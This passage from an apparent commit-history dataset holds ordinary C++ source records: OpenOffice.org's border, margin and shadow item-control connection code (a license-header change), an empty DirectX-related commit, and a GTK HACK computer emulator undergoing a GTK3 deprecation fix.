     SVX_SHADOW_BOTTOMRIGHT  },\n    { 3,                        SVX_SHADOW_TOPRIGHT     },\n    { 4,                        SVX_SHADOW_BOTTOMLEFT   },\n    { 5,                        SVX_SHADOW_TOPLEFT      },\n    { VALUESET_ITEM_NOTFOUND,   SVX_SHADOW_NONE         }\n};\n\nclass ShadowControlsWrapper : public sfx::MultiControlWrapper< SvxShadowItem >\n{\npublic:\n    explicit            ShadowControlsWrapper( ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor );\n\n    virtual SvxShadowItem GetControlValue() const;\n    virtual void        SetControlValue( SvxShadowItem aItem );\n\nprivate:\n    ShadowPosWrapper                maPosWrp;\n    sfx::UShortMetricFieldWrapper   maSizeWrp;\n    sfx::ColorListBoxWrapper        maColorWrp;\n};\n\nShadowControlsWrapper::ShadowControlsWrapper(\n        ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor ) :\n    maPosWrp( rVsPos, s_pShadowPosMap ),\n    maSizeWrp( rMfSize, FUNIT_TWIP ),\n    maColorWrp( rLbColor )\n{\n    RegisterControlWrapper( maPosWrp );\n    RegisterControlWrapper( maSizeWrp );\n    RegisterControlWrapper( maColorWrp );\n}\n\nSvxShadowItem ShadowControlsWrapper::GetControlValue() const\n{\n    SvxShadowItem aItem( GetDefaultValue() );\n    if( !maPosWrp.IsControlDontKnow() )\n        aItem.SetLocation( maPosWrp.GetControlValue() );\n    if( !maSizeWrp.IsControlDontKnow() )\n        aItem.SetWidth( maSizeWrp.GetControlValue() );\n    if( !maColorWrp.IsControlDontKnow() )\n        aItem.SetColor( maColorWrp.GetControlValue() );\n    return aItem;\n}\n\nvoid ShadowControlsWrapper::SetControlValue( SvxShadowItem aItem )\n{\n    maPosWrp.SetControlValue( aItem.GetLocation() );\n    maSizeWrp.SetControlValue( aItem.GetWidth() );\n    maColorWrp.SetControlValue( aItem.GetColor() );\n}\n\n\/\/ 3rd: connection ------------------------------------------------------------\n\nclass ShadowConnection : public sfx::ItemControlConnection< ShadowItemWrapper, ShadowControlsWrapper >\n{\npublic:\n    explicit            ShadowConnection( const SfxItemSet& rItemSet,\n                                ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor,\n                                sfx::ItemConnFlags nFlags = sfx::ITEMCONN_DEFAULT );\n};\n\nShadowConnection::ShadowConnection( const SfxItemSet& rItemSet,\n        ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor, sfx::ItemConnFlags nFlags ) :\n    ItemControlConnectionType( ITEMID_SHADOW, new ShadowControlsWrapper( rVsPos, rMfSize, rLbColor ), nFlags )\n{\n    mxCtrlWrp->SetDefaultValue( maItemWrp.GetDefaultItem( rItemSet ) );\n}\n\n\/\/ ============================================================================\n\/\/ ============================================================================\n\nsfx::ItemConnectionBase* CreateFrameLineConnection( USHORT nSlot,\n        FrameSelector& rFrameSel, FrameBorderType eBorder, sfx::ItemConnFlags nFlags )\n{\n    return new FrameLineConnection( nSlot, new FrameSelectorWrapper( rFrameSel, eBorder ), nFlags );\n}\n\nsfx::ItemConnectionBase* CreateFrameBoxConnection( USHORT nBoxSlot, USHORT nBoxInfoSlot,\n        FrameSelector& rFrameSel, FrameBorderType eBorder, sfx::ItemConnFlags nFlags )\n{\n    DBG_ERRORFILE( \"svx::CreateFrameBoxConnection - not implemented\" );\n    return 0;\n}\n\nsfx::ItemConnectionBase* CreateMarginConnection( const SfxItemSet& rItemSet,\n        MetricField& rMfLeft, MetricField& rMfRight,\n        MetricField& rMfTop, MetricField& rMfBottom,\n        sfx::ItemConnFlags nFlags )\n{\n    return new MarginConnection( rItemSet, rMfLeft, rMfRight, rMfTop, rMfBottom, nFlags );\n}\n\nsfx::ItemConnectionBase* CreateShadowConnection( const SfxItemSet& rItemSet,\n        ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor,\n        sfx::ItemConnFlags nFlags )\n{\n    return new ShadowConnection( rItemSet, rVsPos, rMfSize, rLbColor, nFlags );\n}\n\n\/\/ ============================================================================\n\n} \/\/ namespace svx\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.756); FILE MERGED 2005\/09\/05 14:19:05 rt 1.2.756.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: borderconn.cxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 20:38:16 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef SVX_BORDERCONN_HXX\n#include \"borderconn.hxx\"\n#endif\n\n#ifndef SVX_FRMSEL_HXX\n#include \"frmsel.hxx\"\n#endif\n\n#define ITEMID_LINE     0\n#define ITEMID_BOX      0\n#define ITEMID_BOXINFO  0\n#define ITEMID_MARGIN   SID_ATTR_ALIGN_MARGIN\n#define ITEMID_SHADOW   SID_ATTR_BORDER_SHADOW\n\n#ifndef _SVX_BOLNITEM_HXX\n#include \"bolnitem.hxx\"\n#endif\n#ifndef _SVX_BOXITEM_HXX\n#include \"boxitem.hxx\"\n#endif\n#ifndef _SVX_ALGITEM_HXX\n#include \"algitem.hxx\"\n#endif\n#ifndef _SVX_SHADITEM_HXX\n#include \"shaditem.hxx\"\n#endif\n\nnamespace svx {\n\n\/* ============================================================================\nSvxLineItem connection\n----------------------\nConnects an SvxLineItem (that contains the style of one line of a cell border)\nwith one frame border from a svx::FrameSelector control. If this connection is\nused, no additional code is needed in the Reset() and FillItemSet() functions\nof the tab page.\n============================================================================ *\/\n\n\/\/ 1st: item wrappers ---------------------------------------------------------\n\nclass LineItemWrapper : public sfx::SingleItemWrapper< SvxLineItem, const SvxBorderLine* >\n{\npublic:\n    inline explicit     LineItemWrapper( USHORT nSlot ) : SingleItemWrapperType( nSlot ) {}\n\n    virtual const SvxBorderLine* GetItemValue( const SvxLineItem& rItem ) const\n                            { return rItem.GetLine(); }\n    virtual void        SetItemValue( SvxLineItem& rItem, const SvxBorderLine* pLine ) const\n                            { rItem.SetLine( pLine ); }\n};\n\n\/\/ 2nd: control wrappers ------------------------------------------------------\n\nclass FrameSelectorWrapper : public sfx::SingleControlWrapper< FrameSelector, const SvxBorderLine* >\n{\npublic:\n    inline explicit     FrameSelectorWrapper( FrameSelector& rFrameSel, FrameBorderType eBorder ) :\n                            SingleControlWrapperType( rFrameSel ), meBorder( eBorder ) {}\n\n    virtual bool        IsControlDontKnow() const;\n    virtual void        SetControlDontKnow( bool bSet );\n\n    virtual const SvxBorderLine* GetControlValue() const;\n    virtual void        SetControlValue( const SvxBorderLine* pLine );\n\nprivate:\n    FrameBorderType       meBorder;         \/\/\/ The line this wrapper works with.\n};\n\nbool FrameSelectorWrapper::IsControlDontKnow() const\n{\n    return GetControl().GetBorderState( meBorder ) == FRAMESTATE_DONTCARE;\n}\n\nvoid FrameSelectorWrapper::SetControlDontKnow( bool bSet )\n{\n    if( bSet )\n        GetControl().SetBorderDontCare( meBorder );\n}\n\nconst SvxBorderLine* FrameSelectorWrapper::GetControlValue() const\n{\n    return GetControl().GetBorderStyle( meBorder );\n}\n\nvoid FrameSelectorWrapper::SetControlValue( const SvxBorderLine* pLine )\n{\n    GetControl().ShowBorder( meBorder, pLine );\n}\n\n\/\/ 3rd: connection ------------------------------------------------------------\n\ntypedef sfx::ItemControlConnection< LineItemWrapper, FrameSelectorWrapper > FrameLineConnection;\n\n\/* ============================================================================\nSvxMarginItem connection\n------------------------\nConnects an SvxMarginItem (that contains the inner margin of all cell borders)\nwith the numerical edit controls of the SvxBorderTabPage. If this connection is\nused, no additional code is needed in the Reset() and FillItemSet() functions\nof the tab page.\n============================================================================ *\/\n\n\/\/ 1st: item wrappers ---------------------------------------------------------\n\ntypedef sfx::IdentItemWrapper< SvxMarginItem > MarginItemWrapper;\n\n\/\/ 2nd: control wrappers ------------------------------------------------------\n\nclass MarginControlsWrapper : public sfx::MultiControlWrapper< SvxMarginItem >\n{\npublic:\n    explicit            MarginControlsWrapper(\n                            MetricField& rMfLeft, MetricField& rMfRight,\n                            MetricField& rMfTop, MetricField& rMfBottom );\n\n    virtual SvxMarginItem GetControlValue() const;\n    virtual void        SetControlValue( SvxMarginItem aItem );\n\nprivate:\n    sfx::Int16MetricFieldWrapper maLeftWrp;\n    sfx::Int16MetricFieldWrapper maRightWrp;\n    sfx::Int16MetricFieldWrapper maTopWrp;\n    sfx::Int16MetricFieldWrapper maBottomWrp;\n};\n\nMarginControlsWrapper::MarginControlsWrapper(\n        MetricField& rMfLeft, MetricField& rMfRight, MetricField& rMfTop, MetricField& rMfBottom ) :\n    maLeftWrp( rMfLeft, FUNIT_TWIP ),\n    maRightWrp( rMfRight, FUNIT_TWIP ),\n    maTopWrp( rMfTop, FUNIT_TWIP ),\n    maBottomWrp( rMfBottom, FUNIT_TWIP )\n{\n    RegisterControlWrapper( maLeftWrp );\n    RegisterControlWrapper( maRightWrp );\n    RegisterControlWrapper( maTopWrp );\n    RegisterControlWrapper( maBottomWrp );\n}\n\nSvxMarginItem MarginControlsWrapper::GetControlValue() const\n{\n    SvxMarginItem aItem( GetDefaultValue() );\n    if( !maLeftWrp.IsControlDontKnow() )\n        aItem.SetLeftMargin( maLeftWrp.GetControlValue() );\n    if( !maRightWrp.IsControlDontKnow() )\n        aItem.SetRightMargin( maRightWrp.GetControlValue() );\n    if( !maTopWrp.IsControlDontKnow() )\n        aItem.SetTopMargin( maTopWrp.GetControlValue() );\n    if( !maBottomWrp.IsControlDontKnow() )\n        aItem.SetBottomMargin( maBottomWrp.GetControlValue() );\n    return aItem;\n}\n\nvoid MarginControlsWrapper::SetControlValue( SvxMarginItem aItem )\n{\n    maLeftWrp.SetControlValue( aItem.GetLeftMargin() );\n    maRightWrp.SetControlValue( aItem.GetRightMargin() );\n    maTopWrp.SetControlValue( aItem.GetTopMargin() );\n    maBottomWrp.SetControlValue( aItem.GetBottomMargin() );\n}\n\n\/\/ 3rd: connection ------------------------------------------------------------\n\nclass MarginConnection : public sfx::ItemControlConnection< MarginItemWrapper, MarginControlsWrapper >\n{\npublic:\n    explicit            MarginConnection( const SfxItemSet& rItemSet,\n                            MetricField& rMfLeft, MetricField& rMfRight,\n                            MetricField& rMfTop, MetricField& rMfBottom,\n                            sfx::ItemConnFlags nFlags = sfx::ITEMCONN_DEFAULT );\n};\n\nMarginConnection::MarginConnection( const SfxItemSet& rItemSet,\n        MetricField& rMfLeft, MetricField& rMfRight, MetricField& rMfTop, MetricField& rMfBottom,\n        sfx::ItemConnFlags nFlags ) :\n    ItemControlConnectionType( ITEMID_MARGIN, new MarginControlsWrapper( rMfLeft, rMfRight, rMfTop, rMfBottom ), nFlags )\n{\n    mxCtrlWrp->SetDefaultValue( maItemWrp.GetDefaultItem( rItemSet ) );\n}\n\n\/* ============================================================================\nSvxShadowItem connection\n------------------------\nConnects an SvxShadowItem (that contains shadow position, size, and color) with\nthe controls of the SvxBorderTabPage. If this connection is used, no additional\ncode is needed in the Reset() and FillItemSet() functions of the tab page.\n============================================================================ *\/\n\n\/\/ 1st: item wrappers ---------------------------------------------------------\n\ntypedef sfx::IdentItemWrapper< SvxShadowItem > ShadowItemWrapper;\n\n\/\/ 2nd: control wrappers ------------------------------------------------------\n\ntypedef sfx::ValueSetWrapper< SvxShadowLocation > ShadowPosWrapper;\nstatic const ShadowPosWrapper::MapEntryType s_pShadowPosMap[] =\n{\n    { 1,                        SVX_SHADOW_NONE         },\n    { 2,                        SVX_SHADOW_BOTTOMRIGHT  },\n    { 3,                        SVX_SHADOW_TOPRIGHT     },\n    { 4,                        SVX_SHADOW_BOTTOMLEFT   },\n    { 5,                        SVX_SHADOW_TOPLEFT      },\n    { VALUESET_ITEM_NOTFOUND,   SVX_SHADOW_NONE         }\n};\n\nclass ShadowControlsWrapper : public sfx::MultiControlWrapper< SvxShadowItem >\n{\npublic:\n    explicit            ShadowControlsWrapper( ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor );\n\n    virtual SvxShadowItem GetControlValue() const;\n    virtual void        SetControlValue( SvxShadowItem aItem );\n\nprivate:\n    ShadowPosWrapper                maPosWrp;\n    sfx::UShortMetricFieldWrapper   maSizeWrp;\n    sfx::ColorListBoxWrapper        maColorWrp;\n};\n\nShadowControlsWrapper::ShadowControlsWrapper(\n        ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor ) :\n    maPosWrp( rVsPos, s_pShadowPosMap ),\n    maSizeWrp( rMfSize, FUNIT_TWIP ),\n    maColorWrp( rLbColor )\n{\n    RegisterControlWrapper( maPosWrp );\n    RegisterControlWrapper( maSizeWrp );\n    RegisterControlWrapper( maColorWrp );\n}\n\nSvxShadowItem ShadowControlsWrapper::GetControlValue() const\n{\n    SvxShadowItem aItem( GetDefaultValue() );\n    if( !maPosWrp.IsControlDontKnow() )\n        aItem.SetLocation( maPosWrp.GetControlValue() );\n    if( !maSizeWrp.IsControlDontKnow() )\n        aItem.SetWidth( maSizeWrp.GetControlValue() );\n    if( !maColorWrp.IsControlDontKnow() )\n        aItem.SetColor( maColorWrp.GetControlValue() );\n    return aItem;\n}\n\nvoid ShadowControlsWrapper::SetControlValue( SvxShadowItem aItem )\n{\n    maPosWrp.SetControlValue( aItem.GetLocation() );\n    maSizeWrp.SetControlValue( aItem.GetWidth() );\n    maColorWrp.SetControlValue( aItem.GetColor() );\n}\n\n\/\/ 3rd: connection ------------------------------------------------------------\n\nclass ShadowConnection : public sfx::ItemControlConnection< ShadowItemWrapper, ShadowControlsWrapper >\n{\npublic:\n    explicit            ShadowConnection( const SfxItemSet& rItemSet,\n                                ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor,\n                                sfx::ItemConnFlags nFlags = sfx::ITEMCONN_DEFAULT );\n};\n\nShadowConnection::ShadowConnection( const SfxItemSet& rItemSet,\n        ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor, sfx::ItemConnFlags nFlags ) :\n    ItemControlConnectionType( ITEMID_SHADOW, new ShadowControlsWrapper( rVsPos, rMfSize, rLbColor ), nFlags )\n{\n    mxCtrlWrp->SetDefaultValue( maItemWrp.GetDefaultItem( rItemSet ) );\n}\n\n\/\/ ============================================================================\n\/\/ ============================================================================\n\nsfx::ItemConnectionBase* CreateFrameLineConnection( USHORT nSlot,\n        FrameSelector& rFrameSel, FrameBorderType eBorder, sfx::ItemConnFlags nFlags )\n{\n    return new FrameLineConnection( nSlot, new FrameSelectorWrapper( rFrameSel, eBorder ), nFlags );\n}\n\nsfx::ItemConnectionBase* CreateFrameBoxConnection( USHORT nBoxSlot, USHORT nBoxInfoSlot,\n        FrameSelector& rFrameSel, FrameBorderType eBorder, sfx::ItemConnFlags nFlags )\n{\n    DBG_ERRORFILE( \"svx::CreateFrameBoxConnection - not implemented\" );\n    return 0;\n}\n\nsfx::ItemConnectionBase* CreateMarginConnection( const SfxItemSet& rItemSet,\n        MetricField& rMfLeft, MetricField& rMfRight,\n        MetricField& rMfTop, MetricField& rMfBottom,\n        sfx::ItemConnFlags nFlags )\n{\n    return new MarginConnection( rItemSet, rMfLeft, rMfRight, rMfTop, rMfBottom, nFlags );\n}\n\nsfx::ItemConnectionBase* CreateShadowConnection( const SfxItemSet& rItemSet,\n        ValueSet& rVsPos, MetricField& rMfSize, ColorListBox& rLbColor,\n        sfx::ItemConnFlags nFlags )\n{\n    return new ShadowConnection( rItemSet, rVsPos, rMfSize, rLbColor, nFlags );\n}\n\n\/\/ ============================================================================\n\n} \/\/ namespace svx\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Update D3DDEVICEDESC structure.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012-2015 Dano Pernis\n\/\/ See LICENSE for details\n\n#include <gtk\/gtk.h>\n#include <glib.h>\n#include <fstream>\n#include <iostream>\n#include <stdexcept>\n#include <cassert>\n#include \"CPU.h\"\n\nnamespace hcc {\n\nstruct ROM : public IROM {\n    unsigned short *data;\n    static const unsigned int size = 0x8000;\n    ROM() {\n        data = new unsigned short[size];\n    }\n    virtual ~ROM() {\n        delete[] data;\n    }\n\n    bool load(const char *filename) {\n        std::ifstream input(filename);\n        std::string line;\n        unsigned int counter = 0;\n        while (input.good() && counter < size) {\n            getline(input, line);\n            if (line.size() == 0)\n                continue;\n            if (line.size() != 16)\n                return false;\n\n            unsigned int instruction = 0;\n            for (unsigned int i = 0; i<16; ++i) {\n                instruction <<= 1;\n                switch (line[i]) {\n                case '0':\n                    break;\n                case '1':\n                    instruction |= 1;\n                    break;\n                default:\n                    return false;\n                }\n            }\n            data[counter++] = instruction;\n        }\n        \/\/ clear the rest\n        while (counter < size) {\n            data[counter++] = 0;\n        }\n\n        return true;\n    }\n    virtual unsigned short get(unsigned int address) const {\n        if (address < size) {\n            return data[address];\n        } else {\n            std::cerr << \"requested memory at \" << address << '\\n';\n            throw std::runtime_error(\"Memory::get\");\n        }\n    }\n};\n\n} \/\/ end namespace\n\nstruct GUIEmulatorRAM : public hcc::IRAM {\n    static const unsigned int CHANNELS = 3;\n    static const unsigned int SCREEN_WIDTH = 512;\n    static const unsigned int SCREEN_HEIGHT = 256;\n    static const unsigned int size = 0x6001;\n\n    unsigned short *data;\n    unsigned char *vram;\n    GdkPixbuf *pixbuf;\n    GtkWidget *screen;\n\n    void putpixel(unsigned short x, unsigned short y, bool black) {\n        unsigned int offset = CHANNELS*(SCREEN_WIDTH*y + x);\n        for (unsigned int channel = 0; channel<CHANNELS; ++channel) {\n            vram[offset++] = black ? 0x00 : 0xff;\n        }\n    }\npublic:\n    GUIEmulatorRAM() {\n        data = new unsigned short[size];\n        vram = new unsigned char[CHANNELS*SCREEN_WIDTH*SCREEN_HEIGHT];\n        pixbuf = gdk_pixbuf_new_from_data(vram, GDK_COLORSPACE_RGB, FALSE, 8, SCREEN_WIDTH, SCREEN_HEIGHT, CHANNELS*SCREEN_WIDTH, NULL, NULL);\n        screen = gtk_image_new_from_pixbuf(pixbuf);\n    }\n    virtual ~GUIEmulatorRAM() {\n        delete[] data;\n        delete[] vram;\n    }\n    void keyboard(unsigned short value) {\n        data[0x6000] = value;\n    }\n    GtkWidget* getScreenWidget() {\n        return screen;\n    }\n    virtual void set(unsigned int address, unsigned short value) {\n        if (address >= size) {\n            throw std::runtime_error(\"RAM::set\");\n        }\n\n        data[address] = value;\n\n        \/\/ check if we are writing to video RAM\n        if (0x4000 <= address && address <0x6000) {\n            address -= 0x4000;\n\n            unsigned short y = address \/ 32;\n            unsigned short x = 16*(address % 32);\n            for (int bit = 0; bit<16; ++bit) {\n                putpixel(x + bit, y, value & 1);\n                value = value >> 1;\n            }\n            gdk_threads_enter();\n            gtk_widget_queue_draw(screen);\n            gdk_threads_leave();\n        }\n    }\n    virtual unsigned short get(unsigned int address) const {\n        if (address >= size) {\n            throw std::runtime_error(\"RAM::get\");\n        }\n\n        return data[address];\n    }\n};\nhcc::ROM rom;\nGUIEmulatorRAM *ram;\nhcc::CPU cpu;\n\nbool running = false;\n\nGtkWidget *window;\nGtkToolItem *button_load, *button_run, *button_pause;\n\nvoid load_clicked(GtkButton *button, gpointer user_data)\n{\n    bool loaded = false;\n\n    GtkWidget *dialog = gtk_file_chooser_dialog_new(\"Load ROM\",\n        GTK_WINDOW(window), GTK_FILE_CHOOSER_ACTION_OPEN, GTK_STOCK_CANCEL,\n        GTK_RESPONSE_CANCEL, GTK_STOCK_OPEN, GTK_RESPONSE_ACCEPT, NULL);\n    if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_ACCEPT) {\n        char *filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog));\n        loaded = rom.load(filename);\n        g_free(filename);\n    }\n    gtk_widget_destroy(dialog);\n\n    if (!loaded) {\n        GtkWidget *dialog = gtk_message_dialog_new(GTK_WINDOW(window),\n            GTK_DIALOG_MODAL, GTK_MESSAGE_ERROR, GTK_BUTTONS_CLOSE,\n            \"Error loading program\");\n        gtk_dialog_run(GTK_DIALOG(dialog));\n        gtk_widget_destroy(dialog);\n    } else {\n        cpu.reset();\n        gtk_widget_set_sensitive(GTK_WIDGET(button_run), TRUE);\n    }\n}\n\ngpointer run_thread(gpointer user_data)\n{\n    int steps = 0;\n    while (running) {\n        cpu.step(&rom, ram);\n        if (steps>100) {\n            g_usleep(10);\n            steps = 0;\n        }\n        ++steps;\n    }\n    return NULL;\n}\nvoid run_clicked()\n{\n    assert(!running);\n\n    running = true;\n    gtk_widget_set_sensitive(GTK_WIDGET(button_run), FALSE);\n    gtk_widget_set_visible(GTK_WIDGET(button_run), FALSE);\n    gtk_widget_set_sensitive(GTK_WIDGET(button_pause), TRUE);\n    gtk_widget_set_visible(GTK_WIDGET(button_pause), TRUE);\n\n    g_thread_create(run_thread, NULL, FALSE, NULL);\n}\nvoid pause_clicked()\n{\n    assert(running);\n\n    running = false;\n    gtk_widget_set_sensitive(GTK_WIDGET(button_pause), FALSE);\n    gtk_widget_set_visible(GTK_WIDGET(button_pause), FALSE);\n    gtk_widget_set_sensitive(GTK_WIDGET(button_run), TRUE);\n    gtk_widget_set_visible(GTK_WIDGET(button_run), TRUE);\n}\n\n\n\/\/ Translate special keys. See Figure 5.6 in TECS book.\nunsigned short translate(guint keyval)\n{\n    switch (keyval) {\n    case GDK_KEY_Return:    return 128;\n    case GDK_KEY_BackSpace: return 129;\n    case GDK_KEY_Left:      return 130;\n    case GDK_KEY_Up:        return 131;\n    case GDK_KEY_Right:     return 132;\n    case GDK_KEY_Down:      return 133;\n    case GDK_KEY_Home:      return 134;\n    case GDK_KEY_End:       return 135;\n    case GDK_KEY_Page_Up:   return 136;\n    case GDK_KEY_Page_Down: return 137;\n    case GDK_KEY_Insert:    return 138;\n    case GDK_KEY_Delete:    return 139;\n    case GDK_KEY_Escape:    return 140;\n    case GDK_KEY_F1:        return 141;\n    case GDK_KEY_F2:        return 142;\n    case GDK_KEY_F3:        return 143;\n    case GDK_KEY_F4:        return 144;\n    case GDK_KEY_F5:        return 145;\n    case GDK_KEY_F6:        return 146;\n    case GDK_KEY_F7:        return 147;\n    case GDK_KEY_F8:        return 148;\n    case GDK_KEY_F9:        return 149;\n    case GDK_KEY_F10:       return 150;\n    case GDK_KEY_F11:       return 151;\n    case GDK_KEY_F12:       return 152;\n    }\n    return keyval;\n}\n\n\ngboolean keyboard_callback(GtkWidget *widget, GdkEventKey *event, gpointer user_data)\n{\n    if (event->type == GDK_KEY_RELEASE) {\n        ram->keyboard(0);\n    } else {\n        ram->keyboard(translate(event->keyval));\n    }\n    return TRUE;\n}\n\n\nGtkToolItem *create_button(const gchar *stock_id, const gchar *text, GCallback callback)\n{\n    GtkToolItem *button = gtk_tool_button_new_from_stock(stock_id);\n    gtk_tool_button_set_label(GTK_TOOL_BUTTON(button), text);\n    gtk_tool_item_set_tooltip_text(button, text);\n    g_signal_connect(button, \"clicked\", callback, NULL);\n    return button;\n}\n\nint main(int argc, char *argv[])\n{\n    gtk_init(&argc, &argv);\n    ram = new GUIEmulatorRAM();\n\n    \/* toolbar buttons *\/\n    button_load    = create_button(GTK_STOCK_OPEN,        \"Load...\", G_CALLBACK(load_clicked));\n    button_run     = create_button(GTK_STOCK_MEDIA_PLAY,  \"Run\",     G_CALLBACK(run_clicked));\n    button_pause   = create_button(GTK_STOCK_MEDIA_PAUSE, \"Pause\",   G_CALLBACK(pause_clicked));\n\n    GtkToolItem *separator1 = gtk_separator_tool_item_new();\n\n    gtk_widget_set_sensitive(GTK_WIDGET(button_run), FALSE);\n    gtk_widget_set_sensitive(GTK_WIDGET(button_pause), FALSE);\n\n    \/* toolbar itself *\/\n    GtkWidget *toolbar = gtk_toolbar_new();\n    gtk_widget_set_hexpand(toolbar, TRUE);\n    gtk_toolbar_set_style(GTK_TOOLBAR(toolbar), GTK_TOOLBAR_ICONS);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), button_load,  -1);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), separator1,   -1);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), button_run,   -1);\n    gtk_toolbar_insert(GTK_TOOLBAR(toolbar), button_pause, -1);\n\n    \/* keyboard *\/\n    GtkWidget *keyboard = gtk_toggle_button_new_with_label(\"Grab keyboard focus\");\n    gtk_widget_add_events(keyboard, GDK_KEY_PRESS_MASK | GDK_KEY_RELEASE_MASK);\n    g_signal_connect(keyboard, \"key-press-event\",   G_CALLBACK(keyboard_callback), NULL);\n    g_signal_connect(keyboard, \"key-release-event\", G_CALLBACK(keyboard_callback), NULL);\n\n    \/* main layout *\/\n    GtkWidget *grid = gtk_grid_new();\n    gtk_grid_attach(GTK_GRID(grid), toolbar, 0, 0, 1, 1);\n    gtk_grid_attach(GTK_GRID(grid), ram->getScreenWidget(), 0, 1, 1, 1);\n    gtk_grid_attach(GTK_GRID(grid), keyboard, 0, 2, 1, 1);\n\n    \/* main window *\/\n    window = gtk_window_new(GTK_WINDOW_TOPLEVEL);\n    gtk_window_set_title(GTK_WINDOW(window), \"HACK emulator\");\n    gtk_window_set_resizable(GTK_WINDOW(window), FALSE);\n    gtk_window_set_focus(GTK_WINDOW(window), NULL);\n    g_signal_connect(window, \"destroy\", G_CALLBACK (gtk_main_quit), NULL);\n    gtk_container_add(GTK_CONTAINER(window), grid);\n    gtk_widget_show_all(window);\n    gtk_widget_set_visible(GTK_WIDGET(button_pause), FALSE);\n\n    gtk_main();\n    return 0;\n}\n<commit_msg>Fixed gtk3 stock deprecation<commit_after>\/\/ Copyright (c) 2012-2015 Dano Pernis\n\/\/ See LICENSE for details\n\n#include <gtk\/gtk.h>\n#include <glib.h>\n#include <fstream>\n#include <iostream>\n#include <stdexcept>\n#include <cassert>\n#include \"CPU.h\"\n\nnamespace hcc {\n\nstruct ROM : public IROM {\n    unsigned short *data;\n    static const unsigned int size = 0x8000;\n    ROM() {\n        data = new unsigned short[size];\n    }\n    virtual ~ROM() {\n        delete[] data;\n    }\n\n    bool load(const char *filename) {\n        std::ifstream input(filename);\n        std::string line;\n        unsigned int counter = 0;\n        while (input.good() && counter < size) {\n            getline(input, line);\n            if (line.size() == 0)\n                continue;\n            if (line.size() != 16)\n                return false;\n\n            unsigned int instruction = 0;\n            for (unsigned int i = 0; i<16; ++i) {\n                instruction <<= 1;\n                switch (line[i]) {\n                case '0':\n                    break;\n                case '1':\n                    instruction |= 1;\n                    break;\n                default:\n                    return false;\n                }\n            }\n            data[counter++] = instruction;\n        }\n        \/\/ clear the rest\n        while (counter < size) {\n            data[counter++] = 0;\n        }\n\n        return true;\n    }\n    virtual unsigned short get(unsigned int address) const {\n        if (address < size) {\n            return data[address];\n        } else {\n            std::cerr << \"requested memory at \" << address << '\\n';\n            throw std::runtime_error(\"Memory::get\");\n        }\n    }\n};\n\n} \/\/ end namespace\n\nstruct GUIEmulatorRAM : public hcc::IRAM {\n    static const unsigned int CHANNELS = 3;\n    static const unsigned int SCREEN_WIDTH = 512;\n    static const unsigned int SCREEN_HEIGHT = 256;\n    static const unsigned int size = 0x6001;\n\n    unsigned short *data;\n    unsigned char *vram;\n    GdkPixbuf *pixbuf;\n    GtkWidget *screen;\n\n    void putpixel(unsigned short x, unsigned short y, bool black) {\n        unsigned int offset = CHANNELS*(SCREEN_WIDTH*y + x);\n        for (unsigned int channel = 0; channel<CHANNELS; ++channel) {\n            vram[offset++] = black ? 0x00 : 0xff;\n        }\n    }\npublic:\n    GUIEmulatorRAM() {\n        data = new unsigned short[size];\n        vram = new unsigned char[CHANNELS*SCREEN_WIDTH*SCREEN_HEIGHT];\n        pixbuf = gdk_pixbuf_new_from_data(vram, GDK_COLORSPACE_RGB, FALSE, 8, SCREEN_WIDTH, SCREEN_HEIGHT, CHANNELS*SCREEN_WIDTH, NULL, NULL);\n        screen = gtk_image_new_from_pixbuf(pixbuf);\n    }\n    virtual ~GUIEmulatorRAM() {\n        delete[] data;\n        delete[] vram;\n    }\n    void keyboard(unsigned short value) {\n        data[0x6000] = value;\n    }\n    GtkWidget* getScreenWidget() {\n        return screen;\n    }\n    virtual void set(unsigned int address, unsigned short value) {\n        if (address >= size) {\n            throw std::runtime_error(\"RAM::set\");\n        }\n\n        data[address] = value;\n\n        \/\/ check if we are writing to video RAM\n        if (0x4000 <= address && address <0x6000) {\n            address -= 0x4000;\n\n            unsigned short y = address \/ 32;\n            unsigned short x = 16*(address % 32);\n            for (int bit = 0; bit<16; ++bit) {\n                putpixel(x + bit, y, value & 1);\n                value = value >> 1;\n            }\n            gdk_threads_enter();\n            gtk_widget_queue_draw(screen);\n            gdk_threads_leave();\n        }\n    }\n    virtual unsigned short get(unsigned int address) const {\n        if (address >= size) {\n            throw std::runtime_error(\"RAM::get\");\n        }\n\n        return data[address];\n    }\n};\nhcc::ROM rom;\nGUIEmulatorRAM *ram;\nhcc::CPU cpu;\n\nbool running = false;\n\nGtkWidget 